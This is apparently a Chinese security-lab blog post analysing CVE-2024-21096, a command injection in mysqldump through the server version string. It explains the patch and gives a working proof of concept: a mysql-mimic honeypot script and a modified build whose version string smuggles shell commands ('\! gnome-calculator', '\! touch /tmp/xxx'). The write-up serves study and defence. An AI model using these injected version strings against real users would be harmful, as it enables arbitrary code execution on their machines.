CVE-2024-21096:MySQLDump提权漏洞分析

CVE-2024-21096是一个中等严重性的漏洞,它影响Oracle MySQL Server产品中的mysqldump组件。成功利用此漏洞的未认证攻击者可能对MySQL Server的数据进行未授权的更新、插入或删除操作,还可以读取MySQL Server可访问数据的一部分,并可能导致MySQL Server部分拒绝服务(partial DOS)。利用该漏洞的攻击需要在MySQL Server的本地进行,因此利用条件有限,利用复杂性也较高,该漏洞主要影响8.0.0版本至8.0.36版本之间的MySQL Server。

漏洞原理

mysqldump是MySQL的一个组件,可以用于将 MySQL 数据库的数据和结构导出到一个文本文件中,该文件通常是 SQL 格式。这个文件随后可以被用来备份数据库、迁移数据或在另一个 MySQL 服务器上重建数据库。

比如用mysqldump导出MySQL数据库中的某个数据库,可以在MySQL Server本地用以下命令:

mysqldump -u username -p database_name > dumpfile.sql

其中username是用户名,database_name是待导出的数据库名称,导出之后得到dumpfile.sql文件。

导出后的SQL文件可以使用mysql命令执行导入操作,比如:

mysql -u username -p database_name < /path/to/dumpfile.sql

导出和导入的操作可以理解为将数据库按照SQL语句解析导出为文件,再逐一执行SQL语句文件构建新的数据库。

问题在于,mysqldump在接收MySQL Server的信息时候没有对数据库版本等元信息(meta command)进行净化处理,攻击者可以构造恶意的元信息通过mysqldump导出,并在SQL文件导入的时候执行恶意代码。

这点可以查看2024年2月22日漏洞修复的代码变更情况获知:

在之前的版本(8.0.36)中,可以看到mysqldump在处理MySQL版本信息时只是通过mysql_get_server_info(&mysql_connection)获得版本信息并输出,而漏洞补丁中去除了这段代码,增加了get_safe_server_info函数,该函数中做了两个主要的变更:

  1. 通过SERVER_VERSION_LENGTH宏定义的60个字符限制版本信息的长度;
  2. 检查版本信息中是否存在非法字符(非字符或标点服务),如果存在则抛弃非法字符并返回版本信息。

另外,在补丁中还可以看到为了测试补丁用到的测试攻击版本信息,即DBUG_EXECUTE_IF部分中的:

8.0.0-injection_test\n\\! touch /tmp/xxx

漏洞利用

根据以上的漏洞原理,可知利用点是在MySQL的服务版本信息中,在服务版本信息中注入恶意代码之后,包含服务版本信息的SQL文件被MySQL执行后,便可以执行恶意代码。由于mysqldump和mysql命令联合执行或通过SQL文件执行的概率不高,因此CVE-2024-21096漏洞的CVSS评分不高,仅有4.9分,其中可利用性分数只有1.4分。

但漏洞的利用难点在于MySQL的版本信息是一个只读变量,是无法通过MySQL手动配置进行修改的,唯一的办法是通过源代码编译构建MySQL版本,在源代码中修改MySQL的版本信息,修改/include/mysql_version.h文件中的MYSQL_SERVER_VERSION宏定义,比如:

笔者以8.0.34版本为例,通过手动修改版本信息,并编译MySQL,编译过程如下:

sudo apt-get update
sudo apt-get install build-essential cmake libncurses5-dev bison libssl-dev pkg-config
 
wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.34.tar.gz
tar xzvf mysql-8.0.34.tar.gz
cd mysql-8.0.34
 
mkdir build
cd build
cmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=..
 
make
sudo make install

上述命令执行完毕后,MySQL即编译安装完成,接下来是初始化MySQL数据库:

sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

初始化期间会随机生成MySQL的root账户口令,重置口令之后通过show variables查看服务版本即可发现版本信息是修改后的内容:

假设受害者通过mysqldump连接上面修改版本信息之后的攻击机:

mysqldump -h 192.168.2.217 -urepoog -p mysql

执行上述命令后即可看到版本信息是修改之后的内容:

在执行数据库导出和导入操作之后,版本信息中的命令就会得到执行,比如下面的命令:

mysqldump -h 192.168.2.217 -urepoog -p pwndb | msyql -h 192.168.2.217 -urepoog -p pwndb_imp

当然,除了手动编译MySQL之外,也可以使用高交互的MySQL蜜罐项目进行更简单的配置和修改,比如使用mysql-mimic项目,该项目是用 Python编写的轻量级项目,它旨在模拟MySQL数据库的行为,它可以在不实际运行MySQL数据库的情况下,模拟MySQL的协议和行为,常用来做无MySQL实际环境下MySQL测试。

在蜜罐机上基于mysql-mimic库编写和运行以下代码,该代码中设置了MySQL的服务版本信息:

import logging
import asyncio
from sqlglot.executor import execute
 
from mysql_mimic import MysqlServer, Session
from mysql_mimic.variables import GlobalVariables
  
SCHEMA = {
    "test": {
        "x": {
            "a": "INT",
        }
    }
}
 
TABLES = {
    "test": {
        "x": [
            {"a": 1},
            {"a": 2},
            {"a": 3},
        ]
    }
}
 
class MyVariables(GlobalVariables):
    def __init__(self):
        super().__init__()
        self.set("version", "8.0.0-injection-test\n\\! gnome-calculator", True)
 
class MySession(Session):
    def __init__(self):
        super().__init__()
        self.variables = MyVariables()
        self._functions["VERSION"] = "8.1.1"
 
    async def query(self, expression, sql, attrs):
        result = execute(expression, schema=SCHEMA, tables=TABLES)
        return result.rows, result.columns
 
    async def schema(self):
        return SCHEMA
 
 async def main():
    logging.basicConfig(level=logging.DEBUG)
    server = MysqlServer(session_factory=MySession)
    await server.serve_forever()
 
 if __name__ == "__main__":
    asyncio.run(main())

上述程序中设计的服务版本信息是8.0.0-injection-test\n\\! gnome-calculator,蜜罐机的IP地址是172.23.189.209,攻击者(也是受害者)如果通过资产探测扫描到MySQL蜜罐,并通过mysqldump企图做数据库导出和导入,则会出现下图中的效果(弹出计算器)。

这个漏洞的利用条件非常有限,修复方法也非常简单,只需要升级最新版本的MySQL即可。

参考资料

https://media.defcon.org/DEF CON 32/DEF CON 32 presentations/DEF CON 32 - Alexander Rubin Martin Rakhmanov - Atomic Honeypot A MySQL Honeypot That Drops Shells.pdf

作者:裴伟伟

2024年9月14日

洞源实验室

相关推荐
轻口味1 分钟前
Android应用性能优化
android
全职计算机毕业设计6 分钟前
基于 UniApp 平台的学生闲置物品售卖小程序设计与实现
android·uni-app
dgiij43 分钟前
AutoX.js向后端传输二进制数据
android·javascript·websocket·node.js·自动化
Iam傅红雪1 小时前
mysql表逆向实体类
数据库·mysql·adb
SevenUUp2 小时前
Android Manifest权限清单
android
高林雨露2 小时前
Android 检测图片抓拍, 聚焦图片后自动完成拍照,未对准图片的提示请将摄像头对准要拍照的图片
android·拍照抓拍
wilanzai2 小时前
Android View 的绘制流程
android
Mercury Random4 小时前
Qwen 个人笔记
android·笔记
苏苏码不动了5 小时前
Android 如何使用jdk命令给应用/APK重新签名。
android